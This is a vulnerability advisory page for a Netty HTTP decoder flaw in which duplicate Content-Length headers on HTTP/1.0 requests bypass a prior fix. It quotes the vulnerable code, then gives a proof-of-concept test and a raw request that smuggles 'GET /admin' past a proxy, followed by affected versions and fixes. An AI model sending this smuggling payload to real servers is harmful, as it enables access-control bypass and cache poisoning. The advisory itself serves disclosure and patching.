Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-142449
Published:December 02, 2026
Updated:December 03, 2026
Summary "io.netty:netty-codec-http"'s "HttpObjectDecoder" (the decoder behind default "HttpServerCodec" / "HttpRequestDecoder") calls "HttpUtil.normalizeAndGetContentLength()" to reject messages with duplicate "Content-Length" headers — the intended fix for CVE-2019-20445. In the current code (4.2.18) that rejection is gated on "!isHttp10OrEarlier". When the request-line version is HTTP/1.0 or earlier, the duplicate-check block is skipped entirely: the method parses only the first field and returns it with no exception. A subsequent "Content-Length: 0" first value makes "decode()" complete the message immediately ("LastHttpContent.EMPTY_LAST_CONTENT" + "resetNow()"), so leftover bytes on the same connection are parsed as a second independent request. ### Details CVE-2019-20445 added "HttpUtil.normalizeAndGetContentLength(...)" so that multiple "Content-Length" fields would either be rejected ("allowDuplicateContentLengths=false", the default) or collapsed only when every value is identical. The guard is: "if (multipleContentLengths && !isHttp10OrEarlier)" "HttpObjectDecoder.readHeaders()" sets "isHttp10OrEarlier" from "message.protocolVersion()" ("major < 1" or "major == 1 && minor == 0"). For HTTP/1.0 the condition is false, the whole duplicate-check (including the "IllegalArgumentException("Multiple Content-Length values found: ...")" path) is skipped, and control falls through to "Long.parseLong(firstField)" — first header wins, later headers are ignored, no warning. When that first value is "0", "HttpObjectDecoder.decode()" treats the message as empty-bodied, emits "LastHttpContent.EMPTY_LAST_CONTENT", and "resetNow()". Any bytes the peer still considers part of this request (because it used a different "Content-Length") are then decoded as a new HTTP message. HTTP/1.1 duplicate "Content-Length" (same or different values), HTTP/1.1 "Transfer-Encoding: chunked" + "Content-Length", HTTP/1.0 "Transfer-Encoding", and a single comma-separated "Content-Length: 0, 100" field are all still rejected under default "allowDuplicateContentLengths=false" / "useRfc9112TransferEncoding=true". The remaining hole is two separate "Content-Length" headers with different values on HTTP/1.0. HTTP/2 and HTTP/3 call the same helper but never pass "isHttp10OrEarlier=true", so they are not this bypass. Consequence: an application that deploys default "HttpServerCodec" (the documented post-CVE-2019-20445 posture) rejects a duplicate-CL HTTP/1.1 request, but the same pair of headers on "HTTP/1.0" is accepted. If a front-end proxy forwards both headers without normalizing them and computes body length from a different value than Netty (commonly the last), the leftover bytes become a smuggled request. ### Vulnerable code "src/codec-http/src/main/java/io/netty/handler/codec/http/HttpUtil.java" (lines 611–674) — duplicate-CL validation is skipped when "isHttp10OrEarlier" is true; only the first field is parsed: "java public static long normalizeAndGetContentLength( List<? extends CharSequence> contentLengthFields, boolean isHttp10OrEarlier, boolean allowDuplicateContentLengths) { if (contentLengthFields.isEmpty()) { return -1; } String firstField = contentLengthFields.get(0).toString(); boolean multipleContentLengths = contentLengthFields.size() > 1 || firstField.indexOf(COMMA) >= 0; if (multipleContentLengths && !isHttp10OrEarlier) { if (allowDuplicateContentLengths) { // ... require all values identical ... } else { throw new IllegalArgumentException( "Multiple Content-Length values found: " + contentLengthFields); } } // HTTP/1.0 falls through here with firstField still the first header if (firstField.isEmpty() || !Character.isDigit(firstField.charAt(0))) { throw new IllegalArgumentException( "Content-Length value is not a number: " + firstField); } try { final long value = Long.parseLong(firstField); return checkPositiveOrZero(value, "Content-Length value"); } catch (NumberFormatException e) { throw new IllegalArgumentException( "Content-Length value is not a number: " + firstField, e); } } " "src/codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java" (lines 813–821) — the HTTP/1.0 flag is computed from the request version and passed into the helper: "java List<String> contentLengthFields = headers.getAll(HttpHeaderNames.CONTENT_LENGTH); if (!contentLengthFields.isEmpty()) { HttpVersion version = message.protocolVersion(); boolean isHttp10OrEarlier = version.majorVersion() < 1 || (version.majorVersion() == 1 && version.minorVersion() == 0); contentLength = HttpUtil.normalizeAndGetContentLength(contentLengthFields, isHttp10OrEarlier, allowDuplicateContentLengths); " "src/codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java" (lines 422–426) — "contentLength == 0" completes the message and resets the decoder so remaining bytes become the next request: "java if (contentLength == 0 || contentLength == -1 && isDecodingRequest()) { addCurrentMessage(out); out.add(LastHttpContent.EMPTY_LAST_CONTENT); resetNow(); return; } " ### PoC API recipe (component library; no HTTP endpoint of its own — the entry point is any server built on netty-codec-http that uses default "HttpServerCodec" / "HttpRequestDecoder"): "java // 1. Default decoder: allowDuplicateContentLengths=false (HttpObjectDecoder). EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); // 2. HTTP/1.0 request with two different Content-Length values; first is 0 so the // decoder completes immediately. Bytes after the header block are a second request. String wire = "POST / HTTP/1.0\r\n" + "Host: TARGET\r\n" + "Content-Length: 0\r\n" + "Content-Length: 50\r\n" + "\r\n" + "GET /admin HTTP/1.1\r\n" + "Host: TARGET\r\n" + "\r\n"; ch.writeInbound(Unpooled.copiedBuffer(wire, CharsetUtil.US_ASCII)); // 3. Observe: no IllegalArgumentException; inbound yields two HttpRequest objects // (POST / then GET /admin). contentLength of the first is 0 (first header wins). // 4. Control: repeat with HTTP/1.1 and the same two Content-Length headers; // normalizeAndGetContentLength throws // IllegalArgumentException("Multiple Content-Length values found: ...") — fail closed. " Equivalently over the wire against a downstream Netty server (front-end must forward both CL headers and size the body from a value other than the first, e.g. the last): "http POST / HTTP/1.0 Host: TARGET Content-Length: 0 Content-Length: 50 GET /admin HTTP/1.1 Host: TARGET " The front-end that uses the last "Content-Length" (50) forwards 50 bytes of body. Netty uses the first value (0), treats the message as having no body, and immediately completes it. The 50 bytes sent as body by the proxy are then parsed by Netty as a smuggled second request ("GET /admin"). ### Impact HTTP request smuggling. The documented duplicate-"Content-Length" safeguard from CVE-2019-20445 is bypassed for HTTP/1.0 (and earlier): a single connection can deliver a second request that the front-end never intended to forward as an independent message. That enables access-control bypass (smuggled requests reach backend paths the proxy would not expose), cache poisoning, and attacker-controlled headers on the smuggled request (session / CSRF-style effects). The bypass works in default configuration ("allowDuplicateContentLengths=false") because "isHttp10OrEarlier" skips that flag entirely. Exploitation requires a front-end that forwards duplicate "Content-Length" without normalizing them and disagrees with Netty on which value to use; that desync is a realistic reverse-proxy deployment. The first request is an unauthenticated network client speaking HTTP/1.0 at the codec layer ("HttpObjectDecoder.readHeaders" → "normalizeAndGetContentLength") before application authentication.
Affected Packages
https://github.com/netty/netty.git (GITHUB):
Affected version(s) >=netty-4.0.0.Alpha1 <netty-4.1.139.Final || >=netty-4.1.0.Beta1 <netty-4.1.139.Final
Fix Suggestion:
Update to version netty-4.1.139.Final
https://github.com/netty/netty.git (GITHUB):
Affected version(s) >=netty-4.2.0.Alpha1 <netty-4.2.19.Final
Fix Suggestion:
Update to version netty-4.2.19.Final
io.netty:netty-codec-http (JAVA):
Affected version(s) >=4.0.0.Alpha1 <4.1.139.Final || >=4.1.0.Beta1 <4.1.139.Final
Fix Suggestion:
Update to version 4.1.139.Final
io.netty:netty-codec-http (JAVA):
Affected version(s) >=4.2.0.Alpha1 <4.2.19.Final
Fix Suggestion:
Update to version 4.2.19.Final
Do you need more information?
Contact Us
CVSS v4
Base Score:
6.3
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
PRESENT
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
LOW
Vulnerable System Integrity
LOW
Vulnerable System Availability
NONE
Subsequent System Confidentiality
LOW
Subsequent System Integrity
LOW
Subsequent System Availability
NONE
CVSS v3
Base Score:
7.2
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality
LOW
Integrity
LOW
Availability
NONE
Weakness Type (CWE)
Inconsistent Interpretation of HTTP Requests